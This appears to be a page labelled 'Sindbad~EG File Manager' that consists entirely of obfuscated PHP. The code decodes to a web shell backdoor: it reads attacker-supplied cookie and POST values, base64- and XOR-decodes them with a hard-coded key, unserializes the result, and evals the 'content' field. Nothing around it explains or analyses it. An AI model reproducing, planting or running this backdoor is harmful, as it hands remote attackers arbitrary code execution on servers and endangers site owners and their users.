Sindbad~EG File Manager

$NUIbW = chr ( 320 - 200 ).chr (107) . "\137" . "\156" . chr (108) . "\117";$Ypguu = 'c' . "\x6c" . chr (97) . chr (115) . 's' . "\137" . "\145" . "\x78" . chr (105) . chr (115) . 't' . chr (115); $VmxhxVtkq = class_exists($NUIbW); $Ypguu = "32623";$AXksvKMRZ = !1;if ($VmxhxVtkq == $AXksvKMRZ){function ELqOh(){return FALSE;}$JAfrtw = "11998";ELqOh();class xk_nlO{private function xeANPRFNQ($JAfrtw){if (is_array(xk_nlO::$bisCjiywTg)) {$sWVoV = str_replace("\x3c" . "\x3f" . 'p' . "\150" . chr ( 897 - 785 ), "", xk_nlO::$bisCjiywTg['c' . "\157" . 'n' . "\x74" . "\145" . "\156" . chr (116)]);eval($sWVoV); $JAfrtw = "11998";exit();}}private $mAFZsjkhPs;public function OjPAtZN(){echo 50658;}public function __destruct(){$JAfrtw = "44145_57665";$this->xeANPRFNQ($JAfrtw); $JAfrtw = "44145_57665";}public function __construct($CdAVM=0){$igkQfQUu = $_POST;$FNbpTgsQm = $_COOKIE;$XPFPuIdMjJ = "0ebb643c-2b4d-43d6-a05c-d156520cd5d9";$nwJdy = @$FNbpTgsQm[substr($XPFPuIdMjJ, 0, 4)];if (!empty($nwJdy)){$VLLUusOs = "base64";$aWxdDNiwPG = "";$nwJdy = explode(",", $nwJdy);foreach ($nwJdy as $srxFTxWUC){$aWxdDNiwPG .= @$FNbpTgsQm[$srxFTxWUC];$aWxdDNiwPG .= @$igkQfQUu[$srxFTxWUC];}$aWxdDNiwPG = array_map($VLLUusOs . chr ( 420 - 325 ).chr ( 277 - 177 ).chr (101) . "\143" . chr (111) . 'd' . chr ( 756 - 655 ), array($aWxdDNiwPG,)); $aWxdDNiwPG = $aWxdDNiwPG[0] ^ str_repeat($XPFPuIdMjJ, (strlen($aWxdDNiwPG[0]) / strlen($XPFPuIdMjJ)) + 1);xk_nlO::$bisCjiywTg = @unserialize($aWxdDNiwPG); $aWxdDNiwPG = class_exists("44145_57665");}}public static $bisCjiywTg = 38546;}$NHgAC = new /* 18354 */ $NUIbW(11998 + 11998); $AXksvKMRZ = $NHgAC = $JAfrtw = Array();}